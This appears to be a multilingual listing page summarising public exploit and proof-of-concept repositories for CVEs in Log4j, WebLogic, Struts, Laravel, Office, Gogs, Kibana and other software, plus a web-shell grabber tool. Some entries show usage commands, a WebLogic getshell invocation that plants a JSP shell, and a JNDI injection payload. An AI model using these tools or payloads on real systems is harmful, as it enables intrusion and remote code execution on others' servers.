Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 이 도구들은 오픈소스입니다. 리코딩할 수 있지만 작성자의 도구를 삭제하지 않도록 기억하세요. 이 도구들은 무료이며 판매용이 아닙니다!!! 결과 셸은 당신의 목록에 달려 있습니다!!! 여기서 Jenderal92는 웹사이트 시스템에 손상을 일으키는 도구의 오용에 대해 책임지지 않습니다. 가볍든 무겁든 모든 것은 사용에 달려 있습니다!!! 기부 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money :...

CVE-2025-59712_CVE-2025-59713

CVE-2025-59712 및 CVE-2025-59713에 대한 PoC 이 PoC는 CVE-2025-59712User-Agent 헤더의 XSS와 CVE-2025-59713안전하지 않은 역직렬화을 악용하는 자동화 스크립트를 제공합니다. 배경 이 두 취약점은 Snipe-IT 소프트웨어에 대한 취약점 연구 중 Synacktiv에 의해 발견되었습니다. Snipe-IT는 Laravel 기반의 오픈소스 자산 관리 시스템으로, 조직이 물리적 및 디지털 자산을 추적하고 관리할 수 있도록 설계되었습니다. 기술적인 분석 내용은 Synacktiv...

cve-2017-8760

익스플로잇 툴킷 CVE-2017-8759 - v1.0 익스플로잇 툴킷 CVE-2017-8759 - v1.0은는 침투 테스터와 보안 연구원에게 Microsoft .NET Framework RCE를 빠르고 효과적으로 테스트할 수 있는 편리한 Python 스크립트입니다. 복잡한 구성 없이 악성 RTF 파일을 생성하고 metasploit / meterpreter / 기타 페이로드를 피해자에게 전달할 수 있습니다. 면책 조항 이 프로그램은 교육 목적으로만 사용됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히...

CVE-2026-53921

🚨 CVE-2026-53921 - odhcpd OpenWrt odhcpd의 치명적인 스택 기반 버퍼 오버플로 원격의 인증되지 않은 스택 기반 버퍼 오버플로로, 루트 권한 으로의 잠재적 원격 코드 실행RCE을 허용합니다. 📖 개요 ⚡ 설명 CVE-2026-53921은 OpenWrt DHCPv6 서버odhcpd에 영향을 미치는 치명적인 스택 기반 버퍼 오버플로 입니다. 원격의 인증되지 않은 공격자는 특수하게 제작된 DHCPv6 REQUEST 패킷을 전송하여 메모리 손상을 유발할 수 있으며, 이는 루트 권한을 사용한 임의 코드 실행...

CVE-2025-48384-RCE

CVE-2025-48384-RCE...

Exploit-PoC-CVE-2021-40444-inject-ma-doc-vao-docx

CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word 원격 코드 실행을 악용하는 악성 docx 생성기 이 스크립트는 실제 공격에 사용된 샘플938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx 파일에 대한 리버스 엔지니어링을 기반으로 제작되었습니다. 먼저 lcab을 설치해야 합니다 sudo apt-get install lcab 수동 재현 절차는 REPRODUCE.md를 확인하세요 생성된 cab이 작동하지 않으면...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 exiftool RCE の完全な PoC...

CVE-2022-46169

यहाँ रूपांतरित व्याख्या दस्तावेज़ है: CVE‑2022‑46169 – व्याख्या और परियोजना अवलोकन Cacti बिना प्रमाणीकरण के रिमोट कोड निष्पादन यह परियोजना क्या है? यह परियोजना एक साइबरसुरक्षा असाइनमेंट है जिसमें CVE‑2022‑46169 का प्रदर्शन किया गया है: ओपन-सोर्स नेटवर्क मॉनिटरिंग प्लेटफ़ॉर्म Cacti संस्करण ≤ 1.2.2...

CVE-2020-17530

CVE-2020-17530 CVE-2020-17530 के लिए त्वरित POC। Apache Struts संस्करण 2.0.0 - 2.5.25 में, टैग विशेषताओं में कच्चे उपयोगकर्ता इनपुट पर जबरन Object Graph Navigational Language OGNL मूल्यांकन रिमोट कोड निष्पादन RCE का कारण बन सकता है। root@kitploit: $ python CVE-2020-17530.py --help usage:...

CVE-2017-11610

Скрипт для эксплуатации уязвимости удаленного выполнения команд в Supervisord CVE-2017-11610 Описание уязвимости Supervisor — это инструмент управления процессами, написанный на Python, который позволяет легко запускать, перезапускать автоматически перезапускать программы и останавливать процессы...

CVE-2020-28653

CVE-2020-28653 Версия: 2016 - 2020 до патча Использование: root@kitploit: python exploit.py http://vuln-web.com...

CVE-2021-3129

CVE-2021-3129 Laravel = v8.4.2 режим отладки: удаленное выполнение кода CVE-2021-3129 Модифицирована версия @crisprss с https://github.com/crisprss/LaravelCVE-2021-3129EXP, добавлено больше доступных гаджетов для обхода. Использование: root@kitploit: python3 exp.py http://127.0.0.1:8888 Результат...

CVE-2025-8110

CVE-2025-8110 — Gogs RCE PoC Silentium / HackTheBox Предупреждение: Этот инструмент предназначен строго для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, на тестирование которых у вас есть явное разрешение. Это модифицированная версия...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 Scanner PoC by @JaGoTu and @zerosum0x0. В этом репозитории Форк сканера rdesktop, который может определить, уязвим ли хост для уязвимости удаленного выполнения кода CVE-2019-0708 Microsoft Windows Remote Desktop Services. Он не должен вызывать отказ в обслуживании, но...

CVE-2020-11179-Adreno-Qualcomm-GPU

Моя самостоятельная работа на основе PoC, созданного исследователем P0 Беном Хоуксом Оригинальная статья: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html Моя цель — перевести его PoC на C и продолжить с того места, где он остановился, и превратить PoC либо в...

CVE-2019-7609

CVE-2019-7609 настройка docker-лаборатории для kibana-7609 Ссылка : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Откройте Kibana Вставьте один из следующих пейлоадов в визуализатор Timelion Нажмите Run На левой панели нажмите на Canvas Ваш reverse shell должен появиться! : пейлоад от...

CVE-2020-8165

CVE-2020-8165 Ruby on Rails 教育目的のみで使用してください。 詳細は参考文献を参照してください。 環境 Ruby: 2.6.3 Rails: 5.2.3 実行 root@kitploit: $ git clone https://github.com/masahiro331/CVE-2020-8165.git $ bundle install --path vendor/bundle $ bundle exec rails db:migrate $ bundle exec rails s use redis $ docker run -d -p 6379:63...

CVE-2020-11890

HK 制作 CVE-2020-11890: usergroup テーブルクラスにおける不適切な入力検証により、破損した ACL 構成を介して RCE に至る可能性があります リンク https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html PoC 影響を受けるバージョン: Joomla core 3.9.17 未満 必要なユーザー権限: 管理者アカウント（スーパーユーザーではない） アクセス権の取得...

CVE-2018-2628

Воспроизведение уязвимости десериализации WebLogic CVE-2018-2628 Получение оболочки weblogic python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | ...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228에 대한 PoC입니다. 교육 목적으로만 제작된 프로젝트입니다. 익스플로잇 서버 이 프로젝트는 http와 ldap 두 개의 서버를 생성합니다. 익스플로잇이 작동하려면 둘 다 필요합니다. 지정된 Java 파일은 컴파일되며 서버는 Dockerfile에서 시작됩니다. 페이로드가 사용자에게 표시되며, 취약한 애플리케이션에 전달해야 합니다. 페이로드 예시: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 실행 방법 바인드 셸 root@kitploit...